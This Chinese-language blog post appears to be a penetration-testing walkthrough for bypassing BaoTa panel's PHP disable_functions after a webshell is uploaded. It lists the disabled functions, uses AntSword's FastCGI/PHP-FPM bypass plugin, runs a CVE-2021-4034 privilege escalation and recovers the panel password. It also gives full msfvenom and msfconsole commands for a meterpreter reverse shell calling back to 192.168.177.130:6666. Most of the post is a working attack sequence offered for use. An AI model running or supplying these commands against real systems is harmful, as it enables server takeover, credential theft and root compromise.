由于宝塔默认禁用了很多php函数,导致上传webshell后无法执行命令
宝塔默认禁用的函数有
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink, popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus, pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait, pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
蚁剑无论执行什么命令都会返回ret=127
我们接下来要绕过disable_functions,这里我们用蚁剑的disable_functions插件
选择Fastcgi/PHP_FPM,FPM/FCGI 地址填/tmp/php-cgi-xx.sock,然后点开始
接下来会在网站目录生成一个.antproxy.php的木马,我们用之前传的webshell密码连接
这时,我们看到可以执行命令了
上传CVE-2021- 4034提权exp
给权限
成功拿到宝塔密码
但是这种方法在几分钟之后就无法执行命令了,具体原因未知,如果无法执行命令,可以重复再做一次,建议及时弹个shell回来,以方便后续的渗透
msf生成木马
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.177.130 lport=6666 sessioncommunicationtimeout=0 sessionexpirationtimeout=0 -f elf >shell.elf
开启监听
msfconsole use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp show options set LHOST 192.168.177.130 set LPORT 6666 exploit
把木马传到服务器执行
成功弹回shell
输入shell执行命令
可以看到,当前权限是www我们用exp做权限提升
成功提升到root权限
本文用到的exp:
#如无特别声明,该文章均为 原创,转载请遵循
署名-非商业性使用 4.0 国际(CC BY-NC 4.0) 协议,即转载请注明文章来源。
#最后编辑时间为: 2023-01-22 12:54:28